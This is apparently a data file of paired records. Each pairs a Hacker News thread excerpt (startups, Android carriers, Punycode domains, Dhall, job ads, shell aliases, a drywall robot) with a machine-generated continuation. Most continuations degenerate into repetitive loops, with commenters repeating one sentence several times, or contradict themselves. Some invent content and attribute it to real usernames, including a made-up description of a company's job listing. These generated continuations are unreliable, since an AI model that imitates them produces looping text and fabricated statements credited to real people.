graph, but made no attempt at being explanatory. I have since then, been\nsearching, but failed to re-find a copy of that graph to stick into my files.\nNow, thanks you you, I have! Thanks!\n\n------\ncodingdave\nState of Venture-backed Startups. Just to be clear. It is a specific subset of\nthe larger startup picture.\n\n~~~\ntedmiston\nThis really depends on your definition of a \"startup\" vs small business,\nlifestyle business, etc.\n\n~~~\ncodingdave\nI guess that is technically true, but if anyone who is NOT a VC is buying into\nthe idea that VC backing is the only valid definition of a startup... you have\ndrunk too much of the kool-aid.\n\n~~~\ntedmiston\nI would say they more just look at it as an easy filter. While there will be\nsome false negatives, you have very few to none false positives i.e., venture-\nbacked companies that turn out to be non-startups but don't close or exit.\n\nThe example that comes to mind that breaks this is the failing startup turned\ndev shop in attempt to revive the startup pattern.\n\n------\ntraviswingo\nOh yeah, startup founders with venture backing aren't biased about this\ntopic...\n\n------\ngnicholas\n> And it only gets less balanced with time. Among respondents' companies, the\n> boards of later-stage startups are almost three times less likely to have a\n> woman on their board.\n"} +{"output_text": "omics.com/](http://loupe.10xgenomics.com/)\n\nWe're looking for:\n\n\\- Software Engineers (C#, Java, Python, Scala, Go, C++)\n\n\\- Software Engineers (Visualization)\n\n\\- Software Engineers (Microfluidics)\n\n\\- Software Engineers (Data Science)\n\n\\- Software Engineers (DevOps)\n\n\\- Software Engineers (Data Science)\n\n\\- Software Engineers (Data Science)\n\n\\-", "input_text": " you\nrelocate to beautiful Minneapolis, MN.\n\n __If you're interested in seeing any other open positions within our\nMarketing, Product, HR/Recruiting, Customer Success or Operations teams, check\nout our website at:\n[http://www.leadpages.net/careers](http://www.leadpages.net/careers)\n\nInterested in emailing us directly? You can reach us at: Tiffany@Ave81.com or\nMadelon.Deming@Ave81.com\n\nLet\u2019s build something awesome!\n\n------\nkevinwuhoo\n10x Genomics | Pleasanton & San Francisco, CA | Onsite | 10xgenomics.com\n\nWe're a biotech company developing novel software, chemistry, and microfluidic\nsystems to allow better understanding of the genome. We're looking to grow our\nsoftware team of currently six engineers (including myself) to support the\nrapid adoption of our technology. We've seen a growing number of high profile\npublications that use our technology\n([https://www.10xgenomics.com/publications/](https://www.10xgenomics.com/publications/)).\nRecently, in a collaboration with the Program for Conservation Genomics at\nStanford University, the genome of the African wild dog was successfully\nsequenced and assembled for the first time using 10x Genomics' technology and\nsoftware. ([https://cehg.stanford.edu/programs/program-conservation-\ngeno...](https://cehg.stanford.edu/programs/program-conservation-genomics-\npcg/pcg-projects))\n\nYou can view a demo of an existing piece of visualization software at\n[http://loupe.10xgen"} +{"output_text": " it's still a good idea to ask for feedback.\n======\njoshstrange\nI'm not sure if this is the right place to ask this but I'll give it a shot.\n\nI'm a software developer and I've been working on a side project for a while\nnow. I've been working on it for a while now and I've been working on it for a\nwhile now and I've been working on it for a while now and", "input_text": "\nI also stumbled upon this node project on Github and was learning from how he\nput stuff together: \n\n------\nauganov\nI don't know of any, let alone decent.\n\nI think the best you can do is find some tutorials but even in that department\nthere's nothing to be crazy about.\n\nSo far it looks like the prime way to learn about it is to experiment (well I\nguess that's the best way anyways).\n\nIt would be a good idea to look into some general JavaScript specific stuff if\nyou're not very familiar with it.\n\nOr just download some sample projects from github and look at that during your\nflight, haha.\n\n4 hours is not that much anyways, so you might just as well give up on it.\n\n------\nmcotton\nPeepcode has a great screencast. It is a little dated but you can follow along\nusing older versions of node. This is a good place to start. I am starting to\ndo my own 5-minute screencasts.\n\n\n\n------\nklaut\nSometime ago I came across those two (but haven't started reading them yet):\n, \n\n \nAsk HN: What is your startup idea? - shubhamjain\nHN has plenty of smart folks from variety of industries, backgrounds, and experience who can give valuable feedback and suggestions to a business idea. Even though the community's judgement has proven to be fallible (cue: dropbox launch thread),"} +{"output_text": " the carriers are the ones\nresponsible for the closed nature of the Android platform. He's just pointing\nout that Google is not the one to blame for this.\n\n~~~\ndavidk0101\nI'm not saying that Google is to blame. I'm saying that the carriers are to\nblame. I'm not saying that Google is blameless. I'm saying that the carriers\nare to blame.\n\n~~~\ndemallien\nI'm not sure I understand", "input_text": " than\ncarrier provided crapware.\n\n~~~\njedbrown\nIf you own your phone, T-mobile smartphone plans are $20/month cheaper. That's\n$480 over a 24-month contract, it doesn't pay to get the subsidized phone.\n(Yeah, unless you get an N1, it's still a branded phone with some crapware,\nbut they will unlock it immediately and you can change your plan at any time.)\n\n~~~\nenjo\nT-mobile, in my experience, is on the right side of almost everything in this\nargument. Of course they probably have to be given their relative size\ncompared to the other big players.\n\nI gave up T-mobile a couple of years ago due to call quality issues here in\nDenver. I'm hoping they've fixed it.\n\n------\ndavidk0101\nDoes Siegler ever make any points or does he always ramble on like this? Is he\nupset that people are buying android based phones or is it that the carriers\nare customizing the os too much and google won't force any strict guidelines?\nThat was the appeal of android from the beginning. Basically anyone could take\nthe os as a starting point and do some cool stuff with it. The fact that the\ncarriers are using their monopoly to force certain conditions on their users\nis not really the fault of whoever produced the os which happens to be google\nin this case.\n\n~~~\ndemallien\nWhere does Seigler say that it was Google's fault? Let me quote: \"Maybe if\nGoogle had their way, the system would be truly open. But they don\u2019t. Sadly,\nthey have to deal with a very big roadblock: the carriers.\"\n\nAt the end of the day, Siegler understands that"} +{"output_text": " own to\npresent.\n\n~~~\ninfinity0\nI'm not sure what you're trying to say. I'm not trying to dress up anecdote as\nevidence. I'm pointing out that the title is stupid and uninformative.\n\n~~~\nEdwardDiego\n> I'm not sure what you're trying to say.\n\nI'm saying that you're being a bit of a dick.\n\n> I'm pointing out that the title is stupid and uninform", "input_text": ".\nmy girlfriend bought the glass. Probably GHB. I actually liked it, I only\nregret not choosing it).\n\nAnd I must say I'd like to try LSD.\n\nYet there's a risk. I've suffered a cerebral stroke 10 years ago, and that\ncondition could raise that risk. I'm aware of it. Anyway, _I_ decide.\n\nProhibition? yes, it's hugely inefficient. We grow as we learn to deal with\nour lives by ourself... Prohibition tries to prevent the society from coping\nwith problems, without avoiding the problems themselves. How is it supposed to\neven work?\n\n------\ninfinity0\n\"Heroin might have helped smokers quit\".\n\n~~~\ninfinity0\nIt's incredible how any anti-drug sentiment touches a nerve of the pro-drugs\ncrowd here. Multiple people were offended enough to go and downvote every one\nof allegory's comments. This is fucking ridiculous and you should be ashamed\nof yourself. You claim that \"we need a debate\" but you react to expressions of\nanti-drug sentiment, by putting up a straw man interpretation and downvoting\nwithout explaining yourself. What the fuck? Your downvote deserves a downvote.\n\nMy original comment is pointing out the title is stupid and uninformative.\n\n~~~\nEdwardDiego\n> Multiple people were offended enough to go and downvote every one of\n> allegory's comments.\n\nI can't downvote, so I'm not one of those who anger you so much, but allegory\nis most likely being downvoted for presenting anecdotes as conclusive evidence\nand dismissively referring to anyone who disagrees with him as having opinions\nlacking experience.\n\nIf we're dressing up anecdote as evidence then I have plenty of my"} +{"output_text": " any documentation on this.\n\n~~~\njwilk\nChrome and Firefox show the Punycode encoding in the address bar.\n\n------\njwilk\nI'm not sure why the URL is encoded in Punycode.\n\n~~~\njwilk\nI'm not sure why the URL is encoded in Punycode.\n\n------\njwilk\nI'm not sure why the URL is encoded in Punycode.\n\n------\njwil", "input_text": "b.se](http://www.sk\u00e5netrafiken.se), but\nlike many it just redirects to an ASCII version. (Does it look weird seeing\n\"Skane\" when you know it ought to be \"Skaane\"?)\n\nSimilarly for a power company, [http://xn--rsted-uua.dk](http://\u00f8rsted.dk),\njust a redirect, but they do use it on adverts and my electricity bill.\n\nSome that don't redirect: [http://xn--mgk--jra.dk/](http://mgk-\u00f8.dk/)\n[https://www.xn---strm-uuae.dk/](https://www.\u00f8-str\u00f8m.dk/) [https://xn--\nmagnusbrth-85a.se/](https://magnusbr\u00e5th.se/)\n\n(HN has converted the displayed URLs to Punycode, presumably as a quick\nsecurity measure without reference to the reasonable characters for each TLD.)\n\n------\nbillpg\nI wanted to make a new website using emojis instead of \"www\" as a joke about\nthe number of syllables. (\"Angry Face Angry Face Angry Face\" takes the same\namount of time to say \"www\".)\n\nBrowsers kept insisting on showing this as xn--b38haa.crankybill.com, so I\nwent with \"grr\" instead.\n\n------\nbanana_giraffe\nInteresting, both Chrome and Firefox seem to show the Punycode encoding after\nI enter the emoji in the URL for me.\n\nDo browsers always show the Punycode encoding, or do they show the encoded\nglyphs only in some scenarios? I can't find"} +{"output_text": " synthesized fossil fuels, would be of little value.\n\n[NB: It has been done, but generally in converting solid fossil fuels to\nliquid, e.g., Germany's coal-to-liquids program during WWII.]\n\n\n\n[https://en.wikipedia.org/wiki/M._King_Hubbert](https://en.wikipedia.org/wiki/M._King_Hubbert)\n\n~~~\ndredmorbius\n", "input_text": "fuels and Synfuels are still carbon-based AIUI, but\nTFA is a bit ambiguous here.\n\n------\ndredmorbius\nIn the event anyone thinks that the notion of synfuel generation from nuclear\npower is new... it's not.\n\nM. King Hubbert, who first conceived of (and successfully predicted US) peak\noil suggested this... in 1962:\n\n\"Energy Resources: A Report to the Committe on Natural Resources\"\n\nOn p. 139:\n\n\n\nSynthesis of Chemical Fuels. Automotive vehicles for both highway and air\ntransportation are dependent for their energy supply upon the energy stored\nchemically in the form principally of liquid fuels, and, so far as can now be\nseen, will continue to be so. Heretofore these fuels have been obtained almost\nsolely from the fossil fuels in which the energy was originally stored by\nphotosynthesis. On the other hand, it has long been known to be possible to\nmanufacture simpler but equally useful fuels by means of the schematic\nchemical reaction:\n\nEnergy + CO2 + H20 -> Fuel + O2\n\nThis has not been done because the energy required for the reaction would have\nto be obtained by burning already synthesized fossil fuels.\n\n[NB: It has been done, but generally in converting solid fossil fuels to\nliquid, e.g., Germany's coal-to-liquids program during WWII.]\n\nWith the advent of nuclear energy this situation is drastically changed. Here,\nwith an almost unlimited supply of energy potentially available, it would be a\na comparatively simple matter to synthesize any desireable quantity of liquid\nand gaseous fuels from common inorganic substances such as water and\nlimestone. Were this eventually to be done, our remaining fossil fuels,\ncomprising already"} +{"output_text": " of the system years ago.\n\n------\njoshu\nI think the author is right that the industry is not a meritocracy.\n\nBut I think the author is wrong that the industry is not a meritocracy.\n\nThe author is wrong because the industry is not a meritocracy.\n\nThe author is wrong because the industry is not a meritocracy.\n\nThe author is wrong because the industry is not a meritocracy.\n\nThe author is wrong because the", "input_text": "_ learn\". It's all\nabout the skills the author gained will working in that industry, but what\ngood are those skills for? A critic of Wall Street might think that these\nskills are only \"as value extractors rather than value creators\". Edit: I'd\nrather see a more detailed explanation of how Wall Street creates value in a\npost defending them.\n\n~~~\nleelin\nI agree, the better title seems to be \"Stop Shitting on Wall Street\nEmployees\".\n\nFor the defense of Wall Street, a small start might be the capital marketplace\nargument:\n\n\n\n------\nmotters\nI'm not at all sympathetic to wall street. They relied on bad math and bogus\nassumptions, and ended up ruining a lot of people's lives in the most\nunprofessional manner imaginable, whilst absconding with a huge amount of tax\npayers money which future generations will be paying for.\n\n------\nccamrobertson\nA number of comments have hinted at it, however, I think that the key issue\nwith the article is that it does little to break down Wall St. as a _career_\nas opposed to Wall St. as a mis-regulated _industry_.\n\nI would agree with Ben that many in the startup community focus far too much\nvitriol against the profession of a financier on the Street. There is\nsignificant value in facilitating financial allocation and increasing market\nefficiency.\n\nHowever, given the financial regulatory environment that has not allowed banks\nto fail, I think that it is legitimate to take issue with the fact that Wall\nSt. as an industry is far too large and riddled with players that should have\nbeen washed out"} +{"output_text": " be missing something or this is a really bad idea.\n\nI'm not a huge fan of Google's search results, but I'm not sure I want to see\nLyrics.com's results in my search results.\n\n~~~\njoshstrange\nI'm not sure I want to see Lyrics.com's results in my search results.\n\n~~~\nat-fates-hands\nI'm not sure I want to see Lyrics.com's results in", "input_text": ".\nIf you still have endless love for AZLyrics, fine... click their link. You\nstill have that choice. I'll choose to take advantage of the much cleaner UI\nat Google Play.\n\n------\nrealcul\nNot sure if it is pure innovative thinking or not having to worry about\nregulatory troubles but Bing has been innovating on ideas like this much\nearlier than Google. Irrespective of which company you like, it is always good\nto have competition in any market...keeps the companies on their toes.\n\n------\nextc\nWon't rights owners try to sue Google the same way they whine about lyrics\nsites?\n\n~~~\nsalemh\nThe Rap Genius licensing issue that took until 2014 [1] will be interesting\nwith Google going after this space. Since Rap Genius seemed to get off the\nhook [2] with Google \"easier\" then others.\n\nI imagine Google can offer better terms and/or soft-velvet glove (traffic)\nthen Rap Genius.\n\nI only bring up Rap Genius, because they seem to have taken over (admirable)\nas the foremost lyrics site.\n\n[1] [http://www.nytimes.com/2014/05/07/business/media/rap-\ngenius-...](http://www.nytimes.com/2014/05/07/business/media/rap-genius-\nwebsite-agrees-to-license-with-music-publishers.html)\n\n[2]\n[https://news.ycombinator.com/item?id=6957463](https://news.ycombinator.com/item?id=6957463)\n\n------\nat-fates-hands\nI must either"} +{"output_text": " or are things that happen to people who are not the typical customer.\n\nFor example, I've never had a problem with AirBnB, and I've never had a problem\nwith Uber. I've had a problem with a taxi company in the past, but that's\nbecause I was a jerk and didn't tip.\n\n~~~\npron\nI agree with you, but I think the point is that the regulations that are\n\"bad\" for consumers are the", "input_text": " that manages their health insurance, and as a result there's little\npublic support.\n\n~~~\npron\nExactly, but I'd phrase it a bit differently: when it comes to taxis and\napartments, regulations are bad for _you_, the consumer, and good for the\npeople in your community (taxi drivers, neighbors), while in insurance,\nregulations directly protect the consumer.\n\nBecause people (especially in the US) couldn't care less about other people,\nregulation that annoys consumers is \"bad\", and the consumers then defend the\ncompanies breaking those particular laws. Those companies exploit the fact\nthat in _every_ industry, consumers always outnumber providers (or conversely,\nevery person consumes from many more industries than those where they\nprovide), and so the disregard for this kind of regulation will always work.\nEvery new company will get consumers to gang up on the far fewer incumbent\nproviders until they break the regulation that protects them, and so on,\nindustry by industry.\n\nIt's a little like the robber barons, who used every new wave of immigrants to\nbeat up the previous generation of immigrants who tried to unionize, and then\nhired the new ones in their place... that is, until the next wave of\nimmigrants. Except the new way of doing this is far more effective, because\nit's always easy to obtain a majority that supports you _and_ feel like\nthey're doing the right thing at the same time.\n\n~~~\nlazerwalker\nFor the most part I think you're spot-on, although it's worth emphasizing the\nnuance that not ALL taxi/hotel regulations are bad for the consumer.\n\nMost of the AirBnB and Uber horror stories you hear are things that don't\nhappen,"} +{"output_text": " is spent on dependencies that are not worth the effort.\n\n~~~\njancsika\nI'm not sure if this is a good idea.\n\nI'm not sure if it's a good idea to have a team of people who are not\ntechnical.\n\nI'm not sure if it's a good idea to have a team of people who are not\ntechnical and who are not technical enough to know what they don't know.\n\nI'm not sure if it", "input_text": " reporting is for the version triplet { module version,\nperl version, OS version }. I really wish NPM did the same.\n\nHere's an example:\n[http://deps.cpantesters.org/?module=DBD::mysql](http://deps.cpantesters.org/?module=DBD::mysql)\n\n~~~\nSomeHacker44\nMy opinion...\n\nThat implies too much faith in tests. Tests are no better or worse than any\nother code. In fact, writing good tests is an art and most people cannot think\nabout every corner case and don\u2019t write tests that cover every code path.\n\nSo, unless you audit the tests they add no practical additional layer of\ntrust, IMO, to just using the \u201cpackage\u201d with or without tests.\n\n~~~\nnobody271\nMany times I've had the most use for a test that didn't fit into the\nconventional unit test format but I didn't try to get it approved because I\ndidn't want to get into a dogmatic argument about what a test should or\nshouldn't be. A lot of what I worry about doesn't get tested well using unit\ntests.\n\n~~~\nwoolvalley\nWhy not call it an integration or e2e test and be done with it?\n\n------\njancsika\nModest proposal: do the opposite of everything suggested in this article.\nAfter all, if you spend all your time inspecting your dependencies, what was\nthe point of even having them in the first place?\n\nThis will ensure that maximum time possible is spent implementing new\nfeatures. _Everyone_ on your team can pitch in to accelerate this goal. Even\nnon-technical outsiders can give valuable feedback. At the same time, this\nensures minimum time"} +{"output_text": " the only\nstandard.\n\n~~~\nSantosh83\nI'm not sure I understand your point. UNIX is a kernel, not a language.\n\n~~~\npjmlp\nIt is a language, but it is not the only one.\n\n------\njokoon\nI don't know if it's a good idea to use C++ for a library.\n\nI think it's a good idea to use C++ for a library if you want", "input_text": "I boundary\nbecause the information simply isn't there. And I'm not sure assurances in\nlibraries used by unsafe languages are really that valuable - it'd be like\nlocking your back door and leaving your front door open. Better to make a\nclean break.\n\n------\nminitech\nMinimalism comes in many forms. Here, we see an example of a content-free\narticle.\n\n> fun aside, name and service are both const char* so I find it funny that\n> they are set in the program, I do understand that from the callers\n> perspective they don't change, but still bad form\n\n\u2026 are you sure you know enough C to do this?\n\n------\nMichaelBurge\nI know that it's used for more than just C programs, but it still seems a\nlittle perverse to rewrite the C standard library in something other than C.\nImagine if someone had a preference for writing his Python libraries in Perl\nthat emitted Python bytecode. Or if C++'s Boost was the output of a Haskell\nprogram.\n\n~~~\nSantosh83\nI get what you mean, but I guess calling it the \"C Standard Library\" is really\na historical holdover from times when the entire system was written only in C\n(with the exception of a smattering of assembly). In the current context it\nshould probably be called the \"System Standard Library\" and when you consider\nit like that, a system standard library in another language isn't all that\nweird. They all compile down to machine code anyway, so the Python-Perl\nanalogy doesn't quite match.\n\n~~~\npjmlp\nUNIX is the C runtime, kid of.\n\nThey just didn't want to force it into other OSes when ANSI C was"} +{"output_text": "http://www.sitepoint.com/understanding-html-semantics-\ncss/](http://www.sitepoint.com/understanding-html-semantics-css/)\n\n~~~\njasim\nI agree with you. I am not against class names. I am against the idea that\nclass names are the only way to convey semantics.\n\nI am against the idea that class names are the only way to convey semantics.\n\nI am against", "input_text": "\njasim\nThe concept of'semantic classnames', even if propagated by w3.org has caused\nas much grief as the concept of'separation of concerns' between HTML & CSS\nfad. The reason we need semantics in HTML is to make the markup accessible for\nscreen-readers, and no screenreader considers the class name of an element\nwhen reading it out. What we instead need are semantic tags like article,\nsection etc. and aria tags like role.\n\nCSS classnames are purely for the developer's benefit. Not the user's. And as\ndevelopers, forcing ourselves to find semantic meaning for every element we\nwrite leads us to component-oriented CSS like BEM. Which is a fine thing, but\nwe can also use purely visual classes - like `bg-red bold border-solid` if it\nhelps (and it does. check out tachyons.io)\n\nThe class names of elements in Google's homepage for example reads like\n'tsf-p', `oq`, `gsb` etc. I suspect these are machine generated. Same with\nFacebook. One of the best libraries to do this currently is styled-components\n([https://github.com/styled-components/styled-\ncomponents](https://github.com/styled-components/styled-components)).\n\nConsider reading [http://nicolasgallagher.com/about-html-semantics-front-\nend-a...](http://nicolasgallagher.com/about-html-semantics-front-end-\narchitecture/), [http://mrmrs.io/writing/2016/03/24/scalable-\ncss/](http://mrmrs.io/writing/2016/03/24/scalable-css/), and\n["} +{"output_text": " to other tech companies are also misleading.\n\n~~~\njoe_the_user\nI think the point is that the stock price is not a good indicator of the\ncompany's value.\n\n~~~\nmillstone\nI agree. But the stock price is a good indicator of the company's value.\n\n------\njoe_the_user\nI think the author is right that Google is a monopoly. But I think he's wrong\nabout the reasons.\n\n", "input_text": " with the most\nsuccessful forks (just like they propose apps on Apple store).\n\n~~~\nbad_user\nGoogle's lock in is more about Google Play than about what is coming in\nAndroid. Basically as a manufacturer, if you don't play nice, then you don't\nget Google Play (or YouTube, or Gmail, or GMaps), which then means that your\nsmartphone is just an expensive brick with no apps on it. iOS is special\nbecause it is popular and was here first. But do you see Google giving a shit\nabout Amazon's stuff or about the Windows phone?\n\nYou know, i'm an Android user because of its openness, because of its ability\nto be forked, but Google practices a kind of lock-in that is very hard to\nescape. Basically everything they do is technically excellent, plus they end\nup dominating the underlying platforms.\n\n------\nAndrewKemendo\nBeing dominant is not the same as being a monopolist. I wish people would quit\nbringing that term up anytime a company is at the top of a market because it\nhas legal and social implications. I have even heard people say that they have\na natural monopoly which is just silly if you understand how natural\nmonopolies work.\n\nIn fact Google isn't a monopolist on any terms, but they do currently dominate\nsearch. My guess is they could be knocked off their perch fairly swiftly if\nsomeone came along with an amazing recommendation service (not like what we\nsee now) that was more advisory than search as it would necessarily absorb\nsearch.\n\n------\nmillstone\nI would disagree with characterizing GOOG's P/E (27.5) as \"low\" or \"not on par\nwith its financial performance.\" That's well above the average. The\ncomparisons"} +{"output_text": " them to the\nright unicode character.\n\n------\nklibertp\nI'm not sure if this is the right place to ask this, but I'm curious: is there\nany way to use Dhall with a non-Haskell language? I'm thinking of something\nlike Rust, but I'm not sure if it's possible.\n\n~~~\nklibertp\nI'm not sure if this is the right place to ask this, but I'm curious:", "input_text": " exactly the tool I've been hoping for. It feels like a non-\nhacky version of make + m4.\n\n~~~\ntotalperspectiv\nAnswering my own question, the README says that eventually the tutorial will\nbe language agnostic.\n\n------\nhiccuphippo\nI don't understand what the word \"distributed\" means here. Is it that it can\nload the configuration from multiple servers?\n\n~~~\nklibertp\nApparently any, or almost any(?), element of a language can be replaced with a\nfile path, which is then transparently read and used as if typed directly in\nthat place. It works even for type annotations and is type-safe. This allows\nfor easy factoring of the code into many files, and - by extension - to files\non remote hosts as long as they're accessible via a (built-in) HTTP support.\n\n------\nnojvek\nI tried to read Dhall manual and figure out if I could make sense of it. I\ncouldn\u2019t. Looks a bit too complicated for me.\n\nJsonnet strikes a great balance of json but with some nice template syntax so\nyou can be DRY.\n\nAlso what\u2019s wrong with being Turing complete. I love for loops.\n\n------\nshoo\nif there's anyone here who has used both dhall and jsonnet in anger, can you\ncomment on your experiences?\n\n------\nofrzeta\nWhat about those special characters like the lambda or the universal\nquantification? How to you type them?\n\n~~~\nGabriel439\nThere are ASCII equivalents. You can type `\\\\` instead of `\u03bb` and `forall`\ninstead of `\u2200`. Also `dhall format` will automatically translate"} +{"output_text": ".com/jobs/back-end-developer-\nlondon/](https://nested.com/jobs/back-end-developer-london/)\n\nNested is a platform for the sharing economy. We're building a marketplace\nwhere people can rent out their spare rooms, cars, bikes, and other items.\n\nWe're looking for a back-end developer to join our small team. You'll be\nworking on a variety of projects, including:\n\n\\-", "input_text": "structured on-site interview.\n\nIf you are interested in this role, or any of our others, please reach out to\nme over email.\n\nThis role, and all others can be found here.\n[https://boards.greenhouse.io/everwise#.WJNT2LYrI6g](https://boards.greenhouse.io/everwise#.WJNT2LYrI6g)\n\nThanks Stephen Fleming Everwise stephen@geteverwise.com\n\n------\nccenten\nBodyport (YC S15) | Senior Data Engineer | San Francisco, CA | ONSITE -\n[http://www.bodyport.com](http://www.bodyport.com)\n\nAt Bodyport, we are on a mission to eliminate the leading cause of death\nworldwide - heart disease. We are bridging the gap between hospital grade\nmedical devices and the health tools presently available in the home. Our\nfirst product uses a novel sensor technology to rapidly screen for the major\nrisk factors of heart disease in under fifteen seconds. The clinical-grade\ndata measured by our system fuels algorithms aimed at predicting and\npreventing the onset of cardiovascular disease.\n\nBy joining us as Data Engineer, you will play a critical role at an early-\nstage company dedicated to bringing lifesaving medical technology into every\nhome. You will work directly with our data science team to implement a backend\nthat will enable the design and implementation of groundbreaking learning\nalgorithms capable of improving the health and lives of all people.\n\nApply here: [https://jobs.lever.co/bodyport/](https://jobs.lever.co/bodyport/)\n\n------\nAJDFraser\nNested.com | Back-end Developer | London | ONSITE\n[https://nested"} +{"output_text": ".\n\n~~~\nTaylorAlexander\nI agree. I think the point is that we\u2019re getting better at making robots that\ncan do some of these things.\n\n------\nsandov\nI think the robot is a bit too slow. It takes about 10 seconds to get to the\nwall, and another 10 seconds to install the drywall.\n\n~~~\nsandov\nI think the robot is a bit too slow. It takes about 10 seconds to get to the\n", "input_text": "adget.com/2018/10/01/aist-humanoid-robot-installs-drywall/\n======\nTaylorAlexander\nIt\u2019s a cool demo. We\u2019re definitely getting better at making humanoids. I would\nguess this is a pretty \u201chard coded\u201d demo designed to work for this exact room\nsetup only.\n\nIt\u2019s going to be some time before we have the machine intelligence necessary\nto do enough for this robot to find a toolbox on its own, retrieve the\nnecessary tools, unload the drywall from a truck, carry it to the room in\nquestion, install it, and complain about OSHA all autonomously.\n\nStill, I\u2019ve never seen this before. We are making progress. Just keep in mind\nthat an actual robot that would do this commercially is probably 20 years\naway. Someone else said 10-20, and I\u2019m inclined to think 20+ is more\nrealistic. As in, you hire robots for your construction because it\u2019s\ncheaper/better.\n\n~~~\nsandov\n>It\u2019s going to be some time before we have the machine intelligence necessary\nto do enough for this robot to find a toolbox on its own, retrieve the\nnecessary tools, unload the drywall from a truck, carry it to the room in\nquestion, install it, and complain about OSHA all autonomously.\n\nI don't think it's necessary to develop machine intelligence to do some of\nthose tasks. The toolbox could could emit EM pulses so the robot can find it,\nthe tools could be put in a specific order and put back the same way by the\nrobot, the drywall could have easy-to-remove arrow stickers so the robot knows\nhow to find it's borders, etc"} +{"output_text": " service representatives to resolve\ntechnical issues. _Work with a team of developers to develop and maintain\nsoftware applications._ Work with a team of developers to develop and\nmaintain software applications. _Work with a team of developers to develop\nand maintain software applications._ Work with a team of developers to\ndevelop and maintain software applications. _Work with a team of developers\nto develop and maintain software applications._ Work with a team of\ndevelopers to develop and maintain software applications. _Work with", "input_text": ", and connection with over 250 million users\nworldwide. You\u2019ll help build the exciting features, services, and\ninfrastructure tools needed to fuel the next wave of Reddit\u2019s growth and get\nto directly see the impact of your work on hundreds of millions of users\naround the world.\n\nThe company is really great to work for with tons of amazing benefits (weekly\nmassages, breakfast & lunch, vacation stipend, unlimited vacation, and tons\nmore) and a great culture. It's rapidly growing, so we're hiring for many\ndifferent engineering roles including:\n\n* Backend Engineer (primarily using Python)\n\n* Data Engineer\n\n* Data Scientist\n\n* Full-stack Engineer\n\n* Frontend Engineer (primarily using Node.js, React, and Redux)\n\n* Senior Software Engineer - Android, iOS, Backend, Full-Stack, Frontend\n\n* Senior DevOps Engineer\n\nIf you're interested, check out our open positions at\n[https://about.reddit.com/careers/#jobs-16253](https://about.reddit.com/careers/#jobs-16253)\nand feel free to email me directly at reddineer at gmail dot com for any\ninfo/referrals.\n\n------\nmprodywus84\nKeyboarding Without Tears | Gaithersburg, MD | Front End Developer Software\nEngineer Job Duties:\n\n _8Design, develop, implement, and test front end administrative and student\nfacing technical products._ Collaborate with back-end and full stack\ndevelopers to enhance the user experience. _Work closely with UX and visual\ndesign teams to develop creative solutions that take into consideration the\ntechnical, organizational, schedule, and business requirements._ Collaborate\nwith support engineers and customer"} +{"output_text": "ist.go.jp/aist_j/press_release/pr2018/pr20180921_en.html)\n\n~~~\njaclaz\n> Apart from the fact that a humanoid could walk to the workplace \u2013 which it\n> probably can't.\n\nI don't think that is the case.\n\nThe robot is not a humanoid, but a \"human-like\" robot, and it is not a\n\"human-like\" robot", "input_text": " - the whole infrastructure around the care\nand feeding of the animals etc transitioning to manufacture, fuelling and\nsupport for steam engines). We're starting to see it now in the (slow)\ntransition from \"carbon-fuel transport\" to \"electric transport\".\n\n~~~\ngeezerjay\n> One of the conclusions was that, while the world of things was heretofore\n> designed with humans in mind, in \"the near future\" (i.e. about where we are\n> now), \"stuff\" would be designed for \"machine-first\" use, rather than \"human-\n> first\" use.\n\nThis.\n\nJust to provide an example, humanity already has self-driving cars for\ndecades, and they are deployed and are extensively used in public\ntransoortation. The trick to solve this problem was to not force human-\ndesigned solutions to an automation problem.\n\nThus, instead of trying to automate vehicles to run on roads, we have vehicles\nrunning on railway tracks.\n\nProblem solved.\n\n------\nofrzeta\nDoesn't make much sense to me. Apart from the fact that a humanoid could walk\nto the workplace \u2013 which it probably can't. For the actual task it would be\nmuch easier to use a non-humanoid with a carriage and several axes.\n\nAlso it is a bit of a hoax because the whole humanoid reporting kind of\nsuggests the robot is autonomous while one the image you can see a camera\nmounted on top of the wall and there's probably some huge computer in the\nback.\n\nEDIT: Here's some actual information about the project:\n[https://www.aist.go.jp/aist_j/press_release/pr2018/pr2018092...](https://www.a"} +{"output_text": "string \"{\\\"job\\\": \\\"$MSG\\\"}\" \\\n --data-urlencode \"job=make deploy\" \\\n --data-urlencode \"to=davidbanham@gmail.com\" \\\n --data-urlencode \"subject=Job complete\" \\\n --data-urlencode \"body=Job complete\" \\\n --data-urlencode \"from=davidbanham@gmail.com\" \\\n --data-", "input_text": " _today_ to auto-create daily scratch\ndirectories:\n\n \n \n TODAY_DIR=\"$HOME/today/\"\n DATE_DIR=$(date +'%Y-%m-%d')\n \n if [! -d $TODAY_DIR$DATE_DIR ];\n then\n mkdir -p $TODAY_DIR$DATE_DIR\n fi;\n \n echo $TODAY_DIR$DATE_DIR\n \n\nSo you can do stuff like this with less thinking/typing:\n\n \n \n cp somefile.csv $(today)\n \n\nI've been using this for a few years and continually find it handy, both at\nthe command line and in keeping files clustered when I want to dig something\nup later. It is slightly less helpful if you regularly work past midnight,\nthough!\n\n------\nmod\nNot exactly a script, but I work at home and sometimes I need to drown out the\nkids (or the wife!). I have this in my.bashrc:\n\nalias whitenoise='play -q -c 2 -n synth brownnoise band -n 1600 1500 tremolo\n.1 30'\n\nIt plays some fuzzy whitenoise, which drowns them out and lets me keep focused\n(music is often distracting to me).\n\n------\ndavidbanham\nI call this blingle. I call it after any long running operation that I want to\nbe notified of. It pops a desktop notification and sends a push message to my\nphone.\n\neg: make deploy; blingle\n\n#!/bin/bash\n\nMSG=${@:-\"Job complete\"}\n\nnotify-send \"$MSG\"\n\ncurl -s \\\n\n \n \n --form-"} +{"output_text": " similar story:\n[https://news.ycombinator.com/item?id=14650180](https://news.ycombinator.com/item?id=14650180)\n\n------\njohngalt\nI'm not sure how this is different than the Wells Fargo scandal.\n\n~~~\njohngalt\nI'm not sure how this is different than the Wells Fargo scandal.\n\n------\njohngalt\nI'm", "input_text": "survivors. It was so sad to see Jon Stewart talk about this years later with\nonly one person from the original panel because two were too ill now to show\nup and one died.\n\n[http://www.dailymail.co.uk/news/article-3350433/John-\nStewart...](http://www.dailymail.co.uk/news/article-3350433/John-Stewart-s-\npoignant-return-Daily-three-chairs-Former-host-Trevor-Noah-s-guest-leaves-\nspaces-9-11-responders-dead-ill-join-show.html)\n\n~~~\ntoomuchtodo\nKudos to Jon Stewart though. He walked the halls of Congress on his own time\nafter leaving the Daily Show to shame representatives into passing the bill\nresponsible for covering the care of first 